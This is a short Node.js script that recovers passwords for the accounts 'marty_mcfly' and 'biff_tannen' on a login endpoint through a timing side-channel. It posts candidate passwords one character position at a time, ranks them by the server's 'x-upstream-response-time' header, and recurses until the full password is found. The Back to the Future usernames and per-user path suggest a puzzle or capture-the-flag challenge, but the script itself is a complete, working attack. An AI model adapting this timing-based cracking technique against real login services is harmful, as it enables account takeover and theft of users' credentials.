const fetch = require('node-fetch')
const chalk = require('chalk')
const URI = 'https://store.delorean.codes/u/callensm/login'
const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
let foundBiff = ''
let foundMarty = ''

async function main() {
  console.log(chalk.red('Cracking Marty McFly...'))
  const resMarty = await crack(foundMarty, 'marty_mcfly')
  console.log(chalk.yellow(resMarty))

  console.log(chalk.red('Cracking Biff...'))
  const resBiff = await crack(foundBiff, 'biff_tannen')
  console.log(chalk.yellow(resBiff))
}

async function crack(found, user) {
  let tmp = 'aaaaa'

  if (found.length >= 6) tmp = ''
  else if (found.length > 12) return 'no password found'

  const pws = alphabet.split('').map(c => found + c + tmp);
  const times = await Promise.all(pws.map(p => req(p, user)))

  const results = pws
    .map((x, i) => [x, times[i]])
    .sort((a, b) => b[1] - a[1])

  if (results[results.length - 1][1] === 0.01 && found.length >= 6)
    return results[results.length - 1][0]
  else
    found += results[0][0][found.length]

  console.log(found)

  return crack(found, user)
}

function req(password, user) {
  const body = {
    username: user,
    password: password
  }
  const opts = {
    method: 'POST',
    body: Object.keys(body).map(k => `${k}=${body[k]}`).join('&'),
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    }
  }

  const res = fetch(URI, opts)
  return res.then((r) => Number(r.headers.get('x-upstream-response-time')))
}

main()
  .then(() => console.log('done')).catch(() => console.log('error'))